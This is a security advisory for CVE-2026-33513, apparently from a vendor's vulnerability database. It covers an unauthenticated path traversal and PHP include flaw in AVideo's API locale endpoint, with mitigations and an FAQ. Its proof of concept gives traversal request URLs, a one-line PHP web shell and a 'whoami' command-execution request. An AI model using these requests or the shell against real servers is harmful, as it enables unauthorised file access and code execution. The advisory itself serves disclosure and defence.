CVE-2026-33513

An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.

Details

• Entry point: plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret.
• Handler: plugin/API/API.php, method get_api_locale() (lines ~5009–5023):

  $parameters['language'] = strtolower($parameters['language']);
  $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php";
  if (!file_exists($file)) { return new ApiObject("This language does not exists"); }
  include $file;
  

  No validation is performed; ../ traversal is accepted.
• Because include executes PHP, any reachable PHP file is executed in the web server context.

PoC

1. Fetch an arbitrary PHP file (no auth):

   GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1
   Host: <target>
   

   Response returns the rendered About page HTML, proving traversal outside locale/.
2. RCE with an attacker PHP file (any writable PHP path):

   GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami
   

   If shell.php contains <?php system($_GET['x']); ?>, the response includes command output.

Mitigation

• Reject path separators/dots and enforce a strict allowlist of locale slugs.
• realpath the target and ensure it stays within $systemRootPath/locale.
• Stop using include for translations; load data from vetted formats (JSON/array).
• Add authentication (API secret/token) to the endpoint as a secondary control.

• Unauthenticated file inclusion of arbitrary PHP files under the web root.
• Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.
• Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build).
• Affects any deployment with the API plugin enabled (default in docker-compose).

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-33513 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-33513? CVE-2026-33513 is a high-severity path traversal vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-33513? CVE-2026-33513 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33513? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-33513? No fixed version is listed for CVE-2026-33513 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33513 exploitable, and should I be worried? Whether CVE-2026-33513 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33513 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33513? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.